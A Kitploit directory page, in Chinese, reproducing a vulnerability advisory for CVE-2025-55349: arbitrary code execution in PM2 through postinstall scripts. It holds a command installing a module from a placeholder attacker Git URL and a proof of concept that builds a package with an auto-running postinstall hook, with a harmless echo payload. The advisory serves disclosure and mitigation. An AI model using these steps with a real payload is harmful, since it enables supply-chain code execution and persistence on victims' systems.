Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-55349 — repo for CVE-2025-55349 | Kitploit
工具/GitHubGitHub/goldenticketlabs/cve-2025-55349
Vulnerability AnalysisExploitationSupply Chain SecurityPapers & ResearchLearning & Education
GitHubgoldenticketlabs/cve-2025-55349

CVE-2025-55349

repo for CVE-2025-55349

查看仓库
11个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-55349 — pm2 通过 postinstall 的任意代码执行

发现者: Golden Ticket Labs
供应商: Unitech (pm2)
分配日期: 2025年8月20日 (MITRE)


描述

Unitech PM2 v5.4.2 中 lib/API/Modules/NPM.js 组件的一个问题允许通过安装带有精心构造的 postinstall 脚本的包来执行任意代码。

PM2 在从基于 Git 或本地文件安装中调用时,会自动运行 postinstall 生命周期脚本,而无需沙箱或用户确认,包括通过以下方式调用时:

即使模块损坏或无法正常工作,此漏洞仍然存在,并且当攻击者代码注册为 PM2 启动模块时,可以在系统重启后持久存在。

受影响版本

版本状态
≤ 5.4.2易受攻击
6.0.5已修复 — Git 解析逻辑已移除 (PR #5909),但修复未记录且未出现在变更日志中。

攻击向量

攻击者可以准备一个恶意的 Git 仓库,其中包含一个带有精心构造的 postinstall 脚本的 package.json。 当通过 PM2 安装时,该脚本会自动执行:

root@kitploit:~
pm2 install https://github.com/attacker/malicious-module.git

影响

  • 在安装时执行攻击者控制的代码
  • 通过 PM2 管理的启动模块实现持久化
  • 在使用共享或脚本化安装的环境中可能进行横向移动

技术细节

PM2 在模块安装期间将 Git 仓库视为隐式受信任的。像 postinstall 这样的生命周期脚本在没有沙箱、可见性或确认的情况下执行。

这会影响远程 Git URL 和本地 file:// 路径,从而显著扩大攻击面。由于 PM2 模块通常在系统启动时启动,因此持久化和嵌入未授权行为的风险很高。

缓解措施

  • 升级到 PM2 v6.0.5 或更高版本,其中已移除 Git 解析逻辑。
  • 避免从未受信任的 Git 源安装模块。

概念验证(仅限实验室环境)

⚠️ 不提供武器化利用代码。这是一个安全演示。

root@kitploit:~
# 创建一个恶意仓库
git init pm2-evil
cd pm2-evil
cat > package.json <<EOF
{
  "name": "pm2-evil",
  "version": "1.0.0",
  "scripts": {
    "postinstall": "echo 'pwned by CVE-2025-55349'"
  }
}
EOF
git add package.json
git commit -m "Evil postinstall"
cd ..

# 触发安装(在易受攻击的 pm2 v5.4.2 上)
pm2 install file://$PWD/pm2-evil

在易受攻击的版本上,postinstall 命令会立即执行。

参考

  • 修复提交(移除 Git 解析逻辑)
  • PM2 v6.0.5 发布

许可证与免责声明

本仓库中的所有内容仅供教育和防御目的。 不包含任何利用载荷。未经明确授权,请勿将这些技术用于任何系统。

联系方式

Golden Ticket Labs
📧 [email protected]

🌐 goldenticketlabs.com

下载工具